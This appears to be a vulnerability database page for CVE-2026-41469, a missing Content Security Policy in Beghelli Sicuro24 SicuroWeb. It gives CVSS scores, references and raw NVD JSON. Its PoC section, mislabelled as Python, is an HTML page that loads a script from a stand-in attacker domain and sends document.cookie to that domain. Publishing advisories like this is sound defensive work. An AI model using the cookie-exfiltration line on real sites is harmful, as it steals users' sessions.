CVE-2026-41469

Description

Beghelli Sicuro24 SicuroWeb does not enforce a Content Security Policy, allowing unrestricted loading of external JavaScript resources from attacker-controlled origins. When chained with the template injection and sandbox escape vulnerabilities present in the same application, the absence of CSP removes the browser-enforced restriction that would otherwise block external script execution, enabling attackers to load arbitrary remote payloads into operator browser sessions.

CVSS Details

CVSS Score

5.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Beghelli Sicuro24 SicuroWeb (当前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-41469: Missing CSP allowing external script load.
This payload demonstrates the ability to load and execute arbitrary JavaScript
from an attacker-controlled origin due to the lack of Content Security Policy.
-->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-41469 PoC</title>
</head>
<body>
    <h1>Testing CSP Missing Vulnerability</h1>
    
    <!-- Attempt to load external script from attacker-controlled domain -->
    <script src="https://attacker-controlled-domain.com/malicious.js"></script>
    
    <script>
        // Inline script to verify execution if CSP is missing
        console.log("[+] PoC Executed: External scripts allowed due to missing CSP.");
        alert("Vulnerability Confirmed: External JS loaded.");
        
        // Example of data exfiltration
        fetch('https://attacker-controlled-domain.com/exfiltrate?data=' + encodeURIComponent(document.cookie));
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41469
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41469
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41469/
[4] VulDB https://vuldb.com/cve/CVE-2026-41469
[5] https://github.com/kmkz/Exploits/blob/master/2026/CVE-2026-22191-POC.py
[6] https://github.com/kmkz/Exploits/blob/master/2026/CVE-2026-22191-SicuroWeb-ATI-chain.txt
[7] https://www.beghelli.it
[8] https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/
[9] https://www.vulncheck.com/advisories/beghelli-sicuro24-sicuroweb-missing-content-security-policy

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41469", "sourceIdentifier": "[email protected]", "published": "2026-04-22T19:17:09.000", "lastModified": "2026-04-22T21:18:45.917", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Beghelli Sicuro24 SicuroWeb does not enforce a Content Security Policy, allowing unrestricted loading of external JavaScript resources from attacker-controlled origins. When chained with the template injection and sandbox escape vulnerabilities present in the same application, the absence of CSP removes the browser-enforced restriction that would otherwise block external script execution, enabling attackers to load arbitrary remote payloads into operator browser sessions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://github.com/kmkz/Exploits/blob/master/2026/CVE-2026-22191-POC.py", "source": "[email protected]"}, {"url": "https://github.com/kmkz/Exploits/blob/master/2026/CVE-2026-22191-SicuroWeb-ATI-chain.txt", "source": "[email protected]"}, {"url": "https://www.beghelli.it", "source": "[email protected]"}, {"url": "https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/beghelli-sicuro24-sicuroweb-missing-content-security-policy", "source": "[email protected]"}]}}